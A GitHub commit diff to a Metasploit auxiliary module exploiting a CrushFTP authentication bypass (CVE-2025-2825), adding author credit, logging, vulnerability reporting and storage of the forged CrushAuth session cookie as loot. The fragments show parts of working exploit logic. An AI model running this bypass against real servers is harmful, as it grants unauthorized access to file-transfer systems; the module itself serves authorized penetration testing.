Skip to content

Commit 791cc0c

Browse files
authored
Implement suggested changes from peer review
1 parent 460459c commit 791cc0c

File tree

1 file changed

+14
-3
lines changed

1 file changed

+14
-3
lines changed

modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,8 @@ def initialize(info = {})
1919
},
2020
'License' => MSF_LICENSE,
2121
'Author' => [
22-
'remmons-r7', # MSF Module & Rapid7 Analysis
22+
'Outpost24', # Initial Discovery
23+
'remmons-r7' # MSF Module & Rapid7 Analysis
2324
],
2425
'References' => [
2526
['CVE', '2025-2825'],
@@ -50,7 +51,7 @@ def run
5051
print_status('Confirming the target is a CrushFTP web service')
5152
res_anonymous = get_anon_session
5253

53-
fail_with(Failure::Unknown, 'Connection failed - unable to get 404 page response') unless res_anonymous
54+
fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous
5455

5556
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
5657
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
@@ -80,7 +81,17 @@ def run
8081
fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status')
8182
end
8283

83-
print_good("Authentication bypass succeeded! Cookie string generated\nCookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}\n")
84+
cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}"
85+
86+
print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n")
87+
88+
report_vuln(
89+
host: rhost,
90+
name: name,
91+
refs: references
92+
)
93+
94+
store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string)
8495
end
8596

8697
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie

0 commit comments

Comments
 (0)